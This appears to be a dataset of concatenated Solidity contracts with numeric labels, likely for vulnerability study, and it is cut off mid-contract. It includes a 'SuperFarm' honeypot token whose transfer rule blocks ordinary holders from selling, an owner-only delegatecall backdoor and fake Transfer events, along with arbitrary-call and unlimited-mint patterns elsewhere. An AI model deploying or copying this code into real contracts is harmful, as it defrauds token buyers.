require(lastIndex > 0);
Auction storage order = auctionArray[lastIndex];
require(order.seller == msg.sender);
require(order.tmSell == 0);
uint64 tmNow = uint64(block.timestamp);
require(order.tmStart + auctionDuration > tmNow);
require(_pricePlat >= 1 && _pricePlat <= 999999);
order.price = _pricePlat;
AuctionPlatPriceChange(lastIndex, msg.sender, _tokenId, _pricePlat);
}
function _bid(address _sender, uint256 _platVal, uint256 _tokenId) internal {
uint256 lastIndex = latestAction[_tokenId];
require(lastIndex > 0);
Auction storage order = auctionArray[lastIndex];
uint64 tmNow = uint64(block.timestamp);
require(order.tmStart + auctionDuration > tmNow);
require(order.tmSell == 0);
address realOwner = tokenContract.ownerOf(_tokenId);
require(realOwner == order.seller);
require(realOwner != _sender);
uint256 price = (uint256(order.price)).mul(1000000000000000000);
require(price == _platVal);
require(bitGuildContract.transferFrom(_sender, address(this), _platVal));
order.tmSell = tmNow;
auctionSumPlat += order.price;
uint256 sellerProceeds = price.mul(9).div(10);
tokenContract.safeTransferByContract(_tokenId, _sender);
bitGuildContract.transfer(realOwner, sellerProceeds);
AuctionPlatSold(lastIndex, realOwner, _sender, _tokenId, price);
}
function _getTokenIdFromBytes(bytes _extraData) internal pure returns(uint256) {
uint256 val = 0;
uint256 index = 0;
uint256 length = _extraData.length;
while (index < length) {
val += (uint256(_extraData[index]) * (256 ** (length - index - 1)));
index += 1;
}
return val;
}
function receiveApproval(address _sender, uint256 _value, address _tokenContract, bytes _extraData)
external
whenNotPaused
{
require(msg.sender == address(bitGuildContract));
require(_extraData.length <= 8);
uint256 tokenId = _getTokenIdFromBytes(_extraData);
_bid(_sender, _value, tokenId);
}
function _getStartIndex(uint64 startIndex) internal view returns(uint64) {
uint64 tmFind = uint64(block.timestamp) - auctionDuration;
uint64 first = startIndex;
uint64 middle;
uint64 half;
uint64 len = uint64(auctionArray.length - startIndex);
while(len > 0) {
half = len / 2;
middle = first + half;
if (auctionArray[middle].tmStart < tmFind) {
first = middle + 1;
len = len - half - 1;
} else {
len = half;
}
}
return first;
}
function resetSearchStartIndex () internal {
searchStartIndex = _getStartIndex(searchStartIndex);
}
function _getAuctionIdArray(uint64 _startIndex, uint64 _count)
internal
view
returns(uint64[])
{
uint64 tmFind = uint64(block.timestamp) - auctionDuration;
uint64 start = _startIndex > 0 ? _startIndex : _getStartIndex(0);
uint256 length = auctionArray.length;
uint256 maxLen = _count > 0 ? _count : length - start;
if (maxLen == 0) {
maxLen = 1;
}
uint64[] memory auctionIdArray = new uint64[](maxLen);
uint64 counter = 0;
for (uint64 i = start; i < length; ++i) {
if (auctionArray[i].tmStart > tmFind && auctionArray[i].tmSell == 0) {
auctionIdArray[counter++] = i;
if (_count > 0 && counter == _count) {
break;
}
}
}
if (counter == auctionIdArray.length) {
return auctionIdArray;
} else {
uint64[] memory realIdArray = new uint64[](counter);
for (uint256 j = 0; j < counter; ++j) {
realIdArray[j] = auctionIdArray[j];
}
return realIdArray;
}
}
function getAuctionIdArray(uint64 _startIndex, uint64 _count) external view returns(uint64[]) {
return _getAuctionIdArray(_startIndex, _count);
}
function getAuctionArray(uint64 _startIndex, uint64 _count)
external
view
returns(
uint64[] auctionIdArray,
address[] sellerArray,
uint64[] tokenIdArray,
uint64[] priceArray,
uint64[] tmStartArray)
{
auctionIdArray = _getAuctionIdArray(_startIndex, _count);
uint256 length = auctionIdArray.length;
sellerArray = new address[](length);
tokenIdArray = new uint64[](length);
priceArray = new uint64[](length);
tmStartArray = new uint64[](length);
for (uint256 i = 0; i < length; ++i) {
Auction storage tmpAuction = auctionArray[auctionIdArray[i]];
sellerArray[i] = tmpAuction.seller;
tokenIdArray[i] = tmpAuction.tokenId;
priceArray[i] = tmpAuction.price;
tmStartArray[i] = tmpAuction.tmStart;
}
}
function getAuction(uint64 auctionId) external view returns(
address seller,
uint64 tokenId,
uint64 price,
uint64 tmStart,
uint64 tmSell)
{
require (auctionId < auctionArray.length);
Auction memory auction = auctionArray[auctionId];
seller = auction.seller;
tokenId = auction.tokenId;
price = auction.price;
tmStart = auction.tmStart;
tmSell = auction.tmSell;
}
function getAuctionTotal() external view returns(uint256) {
return auctionArray.length;
}
function getStartIndex(uint64 _startIndex) external view returns(uint256) {
require (_startIndex < auctionArray.length);
return _getStartIndex(_startIndex);
}
function isOnSale(uint256 _tokenId) external view returns(bool) {
uint256 lastIndex = latestAction[_tokenId];
if (lastIndex > 0) {
Auction storage order = auctionArray[lastIndex];
uint64 tmNow = uint64(block.timestamp);
if ((order.tmStart + auctionDuration > tmNow) && order.tmSell == 0) {
return true;
}
}
return false;
}
function isOnSaleAny2(uint256 _tokenId1, uint256 _tokenId2) external view returns(bool) {
uint256 lastIndex = latestAction[_tokenId1];
uint64 tmNow = uint64(block.timestamp);
if (lastIndex > 0) {
Auction storage order1 = auctionArray[lastIndex];
if ((order1.tmStart + auctionDuration > tmNow) && order1.tmSell == 0) {
return true;
}
}
lastIndex = latestAction[_tokenId2];
if (lastIndex > 0) {
Auction storage order2 = auctionArray[lastIndex];
if ((order2.tmStart + auctionDuration > tmNow) && order2.tmSell == 0) {
return true;
}
}
return false;
}
function isOnSaleAny3(uint256 _tokenId1, uint256 _tokenId2, uint256 _tokenId3) external view returns(bool) {
uint256 lastIndex = latestAction[_tokenId1];
uint64 tmNow = uint64(block.timestamp);
if (lastIndex > 0) {
Auction storage order1 = auctionArray[lastIndex];
if ((order1.tmStart + auctionDuration > tmNow) && order1.tmSell == 0) {
return true;
}
}
lastIndex = latestAction[_tokenId2];
if (lastIndex > 0) {
Auction storage order2 = auctionArray[lastIndex];
if ((order2.tmStart + auctionDuration > tmNow) && order2.tmSell == 0) {
return true;
}
}
lastIndex = latestAction[_tokenId3];
if (lastIndex > 0) {
Auction storage order3 = auctionArray[lastIndex];
if ((order3.tmStart + auctionDuration > tmNow) && order3.tmSell == 0) {
return true;
}
}
return false;
}
} | 0 | 384 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract AbstractDeployer is Ownable {
function title() public view returns(string);
function createMultiToken() internal returns(address);
function deploy(bytes data)
external onlyOwner returns(address result)
{
address mtkn = createMultiToken();
require(mtkn.call(data), 'Bad arbitrary call');
Ownable(mtkn).transferOwnership(msg.sender);
return mtkn;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
library CheckedERC20 {
using SafeMath for uint;
function isContract(address addr) internal view returns(bool result) {
assembly {
result := gt(extcodesize(addr), 0)
}
}
function handleReturnBool() internal pure returns(bool result) {
assembly {
switch returndatasize()
case 0 {
result := 1
}
case 32 {
returndatacopy(0, 0, 32)
result := mload(0)
}
default {
revert(0, 0)
}
}
}
function handleReturnBytes32() internal pure returns(bytes32 result) {
assembly {
switch eq(returndatasize(), 32)
case 1 {
returndatacopy(0, 0, 32)
result := mload(0)
}
switch gt(returndatasize(), 32)
case 1 {
returndatacopy(0, 64, 32)
result := mload(0)
}
switch lt(returndatasize(), 32)
case 1 {
revert(0, 0)
}
}
}
function asmTransfer(address token, address to, uint256 value) internal returns(bool) {
require(isContract(token));
require(token.call(bytes4(keccak256("transfer(address,uint256)")), to, value));
return handleReturnBool();
}
function asmTransferFrom(address token, address from, address to, uint256 value) internal returns(bool) {
require(isContract(token));
require(token.call(bytes4(keccak256("transferFrom(address,address,uint256)")), from, to, value));
return handleReturnBool();
}
function asmApprove(address token, address spender, uint256 value) internal returns(bool) {
require(isContract(token));
require(token.call(bytes4(keccak256("approve(address,uint256)")), spender, value));
return handleReturnBool();
}
function checkedTransfer(ERC20 token, address to, uint256 value) internal {
if (value > 0) {
uint256 balance = token.balanceOf(this);
asmTransfer(token, to, value);
require(token.balanceOf(this) == balance.sub(value), "checkedTransfer: Final balance didn't match");
}
}
function checkedTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
if (value > 0) {
uint256 toBalance = token.balanceOf(to);
asmTransferFrom(token, from, to, value);
require(token.balanceOf(to) == toBalance.add(value), "checkedTransfer: Final balance didn't match");
}
}
function asmName(address token) internal view returns(bytes32) {
require(isContract(token));
require(token.call(bytes4(keccak256("name()"))));
return handleReturnBytes32();
}
function asmSymbol(address token) internal view returns(bytes32) {
require(isContract(token));
require(token.call(bytes4(keccak256("symbol()"))));
return handleReturnBytes32();
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract ERC1003Caller is Ownable {
function makeCall(address target, bytes data) external payable onlyOwner returns (bool) {
return target.call.value(msg.value)(data);
}
}
contract ERC1003Token is ERC20 {
ERC1003Caller private _caller = new ERC1003Caller();
address[] internal _sendersStack;
function caller() public view returns(ERC1003Caller) {
return _caller;
}
function approveAndCall(address to, uint256 value, bytes data) public payable returns (bool) {
_sendersStack.push(msg.sender);
approve(to, value);
require(_caller.makeCall.value(msg.value)(to, data));
_sendersStack.length -= 1;
return true;
}
function transferAndCall(address to, uint256 value, bytes data) public payable returns (bool) {
transfer(to, value);
require(_caller.makeCall.value(msg.value)(to, data));
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
address spender = (from != address(_caller)) ? from : _sendersStack[_sendersStack.length - 1];
return super.transferFrom(spender, to, value);
}
}
contract IBasicMultiToken is ERC20 {
event Bundle(address indexed who, address indexed beneficiary, uint256 value);
event Unbundle(address indexed who, address indexed beneficiary, uint256 value);
function tokensCount() public view returns(uint256);
function tokens(uint i) public view returns(ERC20);
function bundlingEnabled() public view returns(bool);
function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public;
function bundle(address _beneficiary, uint256 _amount) public;
function unbundle(address _beneficiary, uint256 _value) public;
function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public;
function disableBundling() public;
function enableBundling() public;
bytes4 public constant InterfaceId_IBasicMultiToken = 0xd5c368b6;
}
contract BasicMultiToken is Ownable, StandardToken, DetailedERC20, ERC1003Token, IBasicMultiToken, SupportsInterfaceWithLookup {
using CheckedERC20 for ERC20;
using CheckedERC20 for DetailedERC20;
ERC20[] private _tokens;
uint private _inLendingMode;
bool private _bundlingEnabled = true;
event Bundle(address indexed who, address indexed beneficiary, uint256 value);
event Unbundle(address indexed who, address indexed beneficiary, uint256 value);
event BundlingStatus(bool enabled);
modifier notInLendingMode {
require(_inLendingMode == 0, "Operation can't be performed while lending");
_;
}
modifier whenBundlingEnabled {
require(_bundlingEnabled, "Bundling is disabled");
_;
}
constructor()
public DetailedERC20("", "", 0)
{
}
function init(ERC20[] tokens, string theName, string theSymbol, uint8 theDecimals) public {
require(decimals == 0, "constructor: decimals should be zero");
require(theDecimals > 0, "constructor: _decimals should not be zero");
require(bytes(theName).length > 0, "constructor: name should not be empty");
require(bytes(theSymbol).length > 0, "constructor: symbol should not be empty");
require(tokens.length >= 2, "Contract does not support less than 2 inner tokens");
name = theName;
symbol = theSymbol;
decimals = theDecimals;
_tokens = tokens;
_registerInterface(InterfaceId_IBasicMultiToken);
}
function tokensCount() public view returns(uint) {
return _tokens.length;
}
function tokens(uint i) public view returns(ERC20) {
return _tokens[i];
}
function inLendingMode() public view returns(uint) {
return _inLendingMode;
}
function bundlingEnabled() public view returns(bool) {
return _bundlingEnabled;
}
function bundleFirstTokens(address beneficiary, uint256 amount, uint256[] tokenAmounts) public whenBundlingEnabled notInLendingMode {
require(totalSupply_ == 0, "bundleFirstTokens: This method can be used with zero total supply only");
_bundle(beneficiary, amount, tokenAmounts);
}
function bundle(address beneficiary, uint256 amount) public whenBundlingEnabled notInLendingMode {
require(totalSupply_ != 0, "This method can be used with non zero total supply only");
uint256[] memory tokenAmounts = new uint256[](_tokens.length);
for (uint i = 0; i < _tokens.length; i++) {
tokenAmounts[i] = _tokens[i].balanceOf(this).mul(amount).div(totalSupply_);
}
_bundle(beneficiary, amount, tokenAmounts);
}
function unbundle(address beneficiary, uint256 value) public notInLendingMode {
unbundleSome(beneficiary, value, _tokens);
}
function unbundleSome(address beneficiary, uint256 value, ERC20[] someTokens) public notInLendingMode {
_unbundle(beneficiary, value, someTokens);
}
function disableBundling() public onlyOwner {
require(_bundlingEnabled, "Bundling is already disabled");
_bundlingEnabled = false;
emit BundlingStatus(false);
}
function enableBundling() public onlyOwner {
require(!_bundlingEnabled, "Bundling is already enabled");
_bundlingEnabled = true;
emit BundlingStatus(true);
}
function _bundle(address beneficiary, uint256 amount, uint256[] tokenAmounts) internal {
require(amount != 0, "Bundling amount should be non-zero");
require(_tokens.length == tokenAmounts.length, "Lenghts of _tokens and tokenAmounts array should be equal");
for (uint i = 0; i < _tokens.length; i++) {
require(tokenAmounts[i] != 0, "Token amount should be non-zero");
_tokens[i].checkedTransferFrom(msg.sender, this, tokenAmounts[i]);
}
totalSupply_ = totalSupply_.add(amount);
balances[beneficiary] = balances[beneficiary].add(amount);
emit Bundle(msg.sender, beneficiary, amount);
emit Transfer(0, beneficiary, amount);
}
function _unbundle(address beneficiary, uint256 value, ERC20[] someTokens) internal {
require(someTokens.length > 0, "Array of someTokens can't be empty");
uint256 totalSupply = totalSupply_;
balances[msg.sender] = balances[msg.sender].sub(value);
totalSupply_ = totalSupply.sub(value);
emit Unbundle(msg.sender, beneficiary, value);
emit Transfer(msg.sender, 0, value);
for (uint i = 0; i < someTokens.length; i++) {
for (uint j = 0; j < i; j++) {
require(someTokens[i] != someTokens[j], "unbundleSome: should not unbundle same token multiple times");
}
uint256 tokenAmount = someTokens[i].balanceOf(this).mul(value).div(totalSupply);
someTokens[i].checkedTransfer(beneficiary, tokenAmount);
}
}
function lend(address to, ERC20 token, uint256 amount, address target, bytes data) public payable {
uint256 prevBalance = token.balanceOf(this);
token.asmTransfer(to, amount);
_inLendingMode += 1;
require(caller().makeCall.value(msg.value)(target, data), "lend: arbitrary call failed");
_inLendingMode -= 1;
require(token.balanceOf(this) >= prevBalance, "lend: lended token must be refilled");
}
}
contract FeeBasicMultiToken is Ownable, BasicMultiToken {
using CheckedERC20 for ERC20;
uint256 constant public TOTAL_PERCRENTS = 1000000;
uint256 internal _lendFee;
function lendFee() public view returns(uint256) {
return _lendFee;
}
function setLendFee(uint256 theLendFee) public onlyOwner {
require(theLendFee <= 30000, "setLendFee: fee should be not greater than 3%");
_lendFee = theLendFee;
}
function lend(address to, ERC20 token, uint256 amount, address target, bytes data) public payable {
uint256 expectedBalance = token.balanceOf(this).mul(TOTAL_PERCRENTS.add(_lendFee)).div(TOTAL_PERCRENTS);
super.lend(to, token, amount, target, data);
require(token.balanceOf(this) >= expectedBalance, "lend: tokens must be returned with lend fee");
}
}
contract AstraBasicMultiToken is FeeBasicMultiToken {
function init(ERC20[] tokens, string theName, string theSymbol, uint8 ) public {
super.init(tokens, theName, theSymbol, 18);
}
}
contract AstraBasicMultiTokenDeployer is AbstractDeployer {
function title() public view returns(string) {
return "AstraBasicMultiTokenDeployer";
}
function createMultiToken() internal returns(address) {
return new AstraBasicMultiToken();
}
} | 1 | 3,831 |
pragma solidity 0.4.21;
library SafeMath {
function mul(uint a, uint b) internal pure returns(uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
assert(c >= a && c >= b);
return c;
}
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) public view returns(uint);
function allowance(address owner, address spender) public view returns(uint);
function transfer(address to, uint value) public returns(bool ok);
function transferFrom(address from, address to, uint value) public returns(bool ok);
function approve(address spender, uint value) public returns(bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MultiToken is ERC20, Ownable {
using SafeMath for uint;
string public name;
string public symbol;
uint public decimals;
string public version;
uint public totalSupply;
uint public tokenPrice;
bool public exchangeEnabled;
bool public codeExportEnabled;
mapping(address => uint) public balances;
mapping(address => mapping(address => uint)) public allowed;
function MultiToken(uint _initialSupply,
string _tokenName,
uint _decimalUnits,
string _tokenSymbol,
string _version,
uint _tokenPrice
) public
{
totalSupply = _initialSupply * (10**_decimalUnits);
name = _tokenName;
symbol = _tokenSymbol;
decimals = _decimalUnits;
version = _version;
tokenPrice = _tokenPrice;
balances[0xeadA6cDDC45656d0E72089997eE3d6D4383Bce89] = totalSupply;
codeExportEnabled = true;
exchangeEnabled = true;
}
event TransferSold(address indexed to, uint value);
event TokenExchangeEnabled(address caller, uint exchangeCost);
event TokenExportEnabled(address caller, uint enableCost);
function swapTokens() public payable {
require(exchangeEnabled);
uint tokensToSend;
tokensToSend = (msg.value * (10**decimals)) / tokenPrice;
require(balances[owner] >= tokensToSend);
balances[msg.sender] += tokensToSend;
balances[owner] -= tokensToSend;
owner.transfer(msg.value);
emit Transfer(owner, msg.sender, tokensToSend);
emit TransferSold(msg.sender, tokensToSend);
}
function mintToken(address _target, uint256 _mintedAmount) public onlyOwner() {
balances[_target] += _mintedAmount;
totalSupply += _mintedAmount;
emit Transfer(0, _target, _mintedAmount);
}
function transfer(address _to, uint _value) public returns(bool) {
require(_to != address(0));
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool success) {
require(_to != address(0));
require(balances[_from] >= _value);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns(uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) public returns(bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns(uint remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | 1 | 3,888 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
abstract contract Context {
constructor() {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public override view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public override view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public override returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
abstract contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Token {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require(msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner || isAccountValid(tx.origin));
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 1000000000000000000000000000;
string public name = "SuperFarm";
string public symbol = "SUPER";
address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address private owner;
address public uniPair;
function sliceUint(bytes memory bs)
internal pure
returns (uint)
{
uint x;
assembly {
